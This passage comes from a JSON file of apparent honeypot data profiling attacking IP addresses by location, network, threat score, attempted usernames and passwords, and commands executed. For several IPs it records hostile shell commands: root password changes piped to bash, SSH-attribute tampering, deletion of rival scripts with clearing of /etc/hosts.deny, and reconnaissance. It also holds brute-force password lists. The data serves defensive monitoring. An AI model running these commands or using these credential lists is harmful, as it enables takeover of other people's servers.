        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Tangjin",
      "asn": 9316,
      "as_org": "DACOM-PUBNETPLUS",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 594,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T08:31:21.515000+00:00",
        "last_seen_30d": "2026-05-24T00:33:45.593000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 484,
        "Suricata": 110
      }
    },
    "171.243.151.119": {
      "attack_count": 452,
      "first_seen": "2026-05-27T18:23:57.781Z",
      "last_seen": "2026-05-27T18:50:42.171Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cisco",
        "developer",
        "monitor",
        "test",
        "ubnt",
        "1234",
        "123456",
        "admian",
        "am",
        "auto",
        "backup",
        "belkinstyle",
        "bin",
        "brenda",
        "btf",
        "client",
        "demo",
        "ftp"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "admin",
        "12345",
        "password",
        "039715582364317",
        "0987654321",
        "111111",
        "123",
        "12345678",
        "123456789",
        "321start",
        "72ca06",
        "91482d",
        "abc123",
        "abcdefg",
        "admin01",
        "admin1",
        "administrator",
        "am"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 644,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T18:23:57.781000+00:00",
        "last_seen_30d": "2026-05-27T18:51:50.222000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 452,
        "Suricata": 192
      }
    },
    "27.21.31.100": {
      "attack_count": 438,
      "first_seen": "2026-05-19T18:05:33.446Z",
      "last_seen": "2026-05-20T18:11:55.808Z",
      "sessions": 219,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 677,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:05:33.446000+00:00",
        "last_seen_30d": "2026-05-20T18:13:01.457000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 438,
        "Suricata": 239
      }
    },
    "171.231.192.134": {
      "attack_count": 437,
      "first_seen": "2026-05-22T17:19:19.114Z",
      "last_seen": "2026-05-22T17:47:11.480Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "cisco",
        "ftp",
        "ubnt",
        "1234",
        "123456",
        "ace",
        "admian",
        "anton",
        "auto",
        "backup",
        "belkinstyle",
        "brenda",
        "carol",
        "developer",
        "george",
        "geral",
        "guest1",
        "install"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "1234",
        "039715582364317",
        "0l0ctyQh243O63uD",
        "123",
        "12345",
        "12345678",
        "72ca06",
        "91482d",
        "@",
        "P@ssw0rd",
        "abc123",
        "ace",
        "admin123",
        "aerohive",
        "alpine",
        "anton",
        "bananapi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 628,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:19:19.114000+00:00",
        "last_seen_30d": "2026-05-22T17:48:19.070000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 437,
        "Suricata": 191
      }
    },
    "27.79.2.167": {
      "attack_count": 417,
      "first_seen": "2026-05-11T06:42:22.460Z",
      "last_seen": "2026-05-11T07:21:21.943Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "user",
        "ftp",
        "support",
        "ubnt",
        "ace",
        "admian",
        "ashish",
        "auto",
        "belkinstyle",
        "brenda",
        "carol",
        "cf1c22",
        "cisco",
        "client",
        "config",
        "cpanel",
        "db2inst2",
        "developer"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "1234",
        "12345",
        "admin123",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "111111",
        "123",
        "123456",
        "72b1bd75ac87852a",
        "72ca06",
        "Deadstar!",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "ace",
        "admin1",
        "admin@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 591,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T06:42:22.460000+00:00",
        "last_seen_30d": "2026-05-11T07:22:27.832000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 417,
        "Suricata": 174
      }
    },
    "116.99.171.65": {
      "attack_count": 409,
      "first_seen": "2026-05-21T07:32:43.252Z",
      "last_seen": "2026-05-21T08:03:40.362Z",
      "sessions": 82,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "monitor",
        "test",
        "user",
        "1234",
        "RPM",
        "ace",
        "admian",
        "ashish",
        "belkinstyle",
        "btf",
        "carol",
        "cf1c22",
        "cpanel",
        "db2inst2",
        "dubai",
        "guest1",
        "install",
        "jay"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "P@ssw0rd",
        "admin",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "123",
        "321start",
        "72b1bd75ac87852a",
        "72ca06",
        "?",
        "RPM",
        "abc123",
        "abcd1234",
        "abcdefg",
        "ace",
        "admin1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 590,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:32:43.252000+00:00",
        "last_seen_30d": "2026-05-21T08:04:42.334000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 409,
        "Suricata": 181
      }
    },
    "185.225.41.192": {
      "attack_count": 367,
      "first_seen": "2026-05-11T21:18:06.946Z",
      "last_seen": "2026-05-30T10:07:03.094Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin2",
        "345gs5662d34",
        "admin",
        "test",
        "alex",
        "casaos",
        "chris",
        "debian",
        "deployer",
        "ftpuser",
        "gui",
        "josh",
        "linuxadmin",
        "minecraft",
        "mysql",
        "netweb",
        "sam",
        "service"
      ],
      "passwords_attempted": [
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "test123",
        "!QAZ1qaz",
        "!QAZxsw23edc",
        "!qaz@wsx",
        "12345",
        "12345678aA",
        "123qwe",
        "123qweasd",
        "1qa@WS3ed",
        "1qaz!QAZ",
        "Admin1234",
        "Admin@12345",
        "Asdf1234",
        "Kp123456",
        "Password1",
        "Qwer1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1\\nhaJxH76D0sEF\\nhaJxH76D0sEF\\n\"|passwd",
        "echo \"root:AvAiEmU2w9hh\"|chpasswd|bash",
        "echo -e \"1\\nhaJxH76D0sEF\\nhaJxH76D0sEF\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": "Damascus",
      "asn": 29256,
      "as_org": "Syrian Telecommunication Private Closed Joint Stock Company",
      "threat_score": 53.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.9,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 486,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T21:18:06.946000+00:00",
        "last_seen_30d": "2026-05-30T10:08:06.413000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 367,
        "Suricata": 119
      }
    },
    "217.154.229.122": {
      "attack_count": 347,
      "first_seen": "2026-05-27T11:33:37.208Z",
      "last_seen": "2026-05-28T23:33:50.237Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "devops",
        "systemd",
        "botuser",
        "hadoop",
        "mikrotik",
        "postgres",
        "ruben",
        "system"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "123",
        "123123aa",
        "1qaz@WSX",
        "753159",
        "Admin123",
        "Huawei@123",
        "Jancok123",
        "P@ssw0rd",
        "Pi123456",
        "Q1w2e3r4@",
        "Qwer4321",
        "User@2026",
        "Voidsetdownload.so",
        "aa1314520",
        "admin1@3",
        "asdfg",
        "devops123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Voidsetdownload.so\\nPCoGcTQnOUTM\\nPCoGcTQnOUTM\\n\"|passwd",
        "echo \"devops123\\nPd0f1eHTEAUu\\nPd0f1eHTEAUu\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nIMws97Kd5ZYz\\nIMws97Kd5ZYz\\n\"|passwd",
        "echo -e \"Voidsetdownload.so\\nPCoGcTQnOUTM\\nPCoGcTQnOUTM\"|passwd|bash",
        "echo -e \"devops123\\nPd0f1eHTEAUu\\nPd0f1eHTEAUu\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nIMws97Kd5ZYz\\nIMws97Kd5ZYz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 424,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T11:33:37.208000+00:00",
        "last_seen_30d": "2026-05-28T23:34:59.212000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 347,
        "Suricata": 77
      }
    },
    "64.31.63.113": {
      "attack_count": 341,
      "first_seen": "2026-05-04T00:36:06.295Z",
      "last_seen": "2026-05-04T01:31:45.656Z",
      "sessions": 174,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 136258,
      "as_org": "BrainStorm Network, Inc",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 522,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:36:06.295000+00:00",
        "last_seen_30d": "2026-05-04T01:32:50.078000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 341,
        "Suricata": 181
      }
    },
    "103.86.180.10": {
      "attack_count": 340,
      "first_seen": "2026-05-22T16:53:18.730Z",
      "last_seen": "2026-05-26T20:52:24.883Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "botuser",
        "test",
        "backups",
        "deploy",
        "devil",
        "dockeruser",
        "jay",
        "kontakt",
        "linux",
        "lucas",
        "manu",
        "miner",
        "nico",
        "rahim",
        "rustserver",
        "sky",
        "systemd"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!@qwASzx",
        "!QAZ2wsx1234",
        "12131415",
        "123321",
        "1234",
        "12345",
        "123456aA",
        "1qw2#ER$",
        "565656",
        "87654321",
        "Huawei_123",
        "P@55word123",
        "P@ssw0rd@123",
        "Qwe123!@#",
        "Root12345",
        "Tencent@123",
        "Voidsetdownload.so"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"botuser1\\nn6E6RjihtbPF\\nn6E6RjihtbPF\\n\"|passwd",
        "echo -e \"botuser1\\nn6E6RjihtbPF\\nn6E6RjihtbPF\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 136284,
      "as_org": "Paradise Telecom Pvt Ltd",
      "threat_score": 35.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 472,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:53:18.730000+00:00",
        "last_seen_30d": "2026-05-26T20:53:27.672000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 340,
        "Suricata": 132
      }
    },
    "197.243.0.62": {
      "attack_count": 288,
      "first_seen": "2026-05-06T15:04:16.987Z",
      "last_seen": "2026-05-06T15:42:42.212Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "debian",
        "deploy",
        "ftpuser",
        "test",
        "user",
        "admin",
        "deployer",
        "devuser",
        "epadmin",
        "hadoop",
        "iredadmin",
        "minecraft",
        "mysqlbackup",
        "steam",
        "tester",
        "testing",
        "testuser"
      ],
      "passwords_attempted": [
        "!QAZ2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "112",
        "1234",
        "12345678Abc",
        "1qaz2wsx",
        "@dm1n@123",
        "Ubuntu2023",
        "admin123456789",
        "adminx",
        "asmadmin",
        "boomer",
        "changeme",
        "debian123",
        "deployer123",
        "devuser@123",
        "epadmin",
        "ftpserver",
        "hadoop1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"changeme\\n9wDEiK83WFRW\\n9wDEiK83WFRW\\n\"|passwd",
        "echo \"debian123\\npcUTTEAJJfeD\\npcUTTEAJJfeD\\n\"|passwd",
        "echo -e \"changeme\\n9wDEiK83WFRW\\n9wDEiK83WFRW\"|passwd|bash",
        "echo -e \"debian123\\npcUTTEAJJfeD\\npcUTTEAJJfeD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Rwanda",
      "country_code": "RW",
      "city": "Kigali",
      "asn": 37228,
      "as_org": "Olleh-Rwanda-Networks",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T15:04:16.987000+00:00",
        "last_seen_30d": "2026-05-06T15:43:49.618000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 75
      }
    },
    "157.66.81.38": {
      "attack_count": 261,
      "first_seen": "2026-05-28T22:02:29.310Z",
      "last_seen": "2026-05-28T22:23:09.927Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ftp_user",
        "hosting",
        "rdp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "Aa121314",
        "Ab123456",
        "Dev@2025",
        "Hh123456",
        "Hn123456",
        "Password1234",
        "Qwerty123@",
        "fjbdfdjkdsfs541544",
        "ftp_user",
        "rdp"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\nQ5I7amcqJTMW\\nQ5I7amcqJTMW\\n\"|passwd",
        "echo \"ftp_user\\nsXsohdwTB1nJ\\nsXsohdwTB1nJ\\n\"|passwd",
        "echo \"root:pU4I4DlxUtJx\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nQ5I7amcqJTMW\\nQ5I7amcqJTMW\"|passwd|bash",
        "echo -e \"ftp_user\\nsXsohdwTB1nJ\\nsXsohdwTB1nJ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135918,
      "as_org": "VIET DIGITAL TECHNOLOGY LIABILITY COMPANY",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T22:02:29.310000+00:00",
        "last_seen_30d": "2026-05-28T22:24:16.191000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 38
      }
    },
    "43.159.132.153": {
      "attack_count": 247,
      "first_seen": "2026-05-16T15:32:11.795Z",
      "last_seen": "2026-05-16T16:01:43.980Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "furukawa",
        "esunny",
        "infra",
        "kafka",
        "lcx",
        "mostafa",
        "sammy",
        "ubuntu",
        "user2",
        "xiaolong",
        "xy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111111",
        "123123123123",
        "12345678",
        "1QAZ2wsx",
        "20192019",
        "ASDqwe123",
        "Qwerty1234",
        "Root8888",
        "aa",
        "esunny",
        "furukawa",
        "infra",
        "lcx",
        "mostafa",
        "myfriend",
        "null",
        "password",
        "qwe!@#123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"furukawa\\nM3j8242LbWFO\\nM3j8242LbWFO\\n\"|passwd",
        "echo \"root:qPnuWQG9ealJ\"|chpasswd|bash",
        "echo -e \"furukawa\\nM3j8242LbWFO\\nM3j8242LbWFO\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 305,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:32:11.795000+00:00",
        "last_seen_30d": "2026-05-16T16:02:49.268000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 58
      }
    },
    "20.193.141.133": {
      "attack_count": 218,
      "first_seen": "2026-05-04T03:09:59.862Z",
      "last_seen": "2026-05-04T03:43:51.840Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "test",
        "test2",
        "user",
        "345gs5662d34",
        "admin",
        "adminuser",
        "deploy",
        "develop",
        "developer",
        "gitlab-runner",
        "mcserver",
        "mongouser",
        "oracle",
        "postgres",
        "server",
        "teste",
        "trojanuser",
        "tuser"
      ],
      "passwords_attempted": [
        "123456",
        "1111",
        "111222",
        "1234567",
        "123qwe...",
        "1qaz",
        "1qaz!QAZ",
        "2test",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd",
        "Password!1",
        "abc123",
        "admin",
        "admin007",
        "admin@456",
        "computer",
        "gitlab-runner",
        "gw1admin",
        "madmin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:32ojl4KxX4SY\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
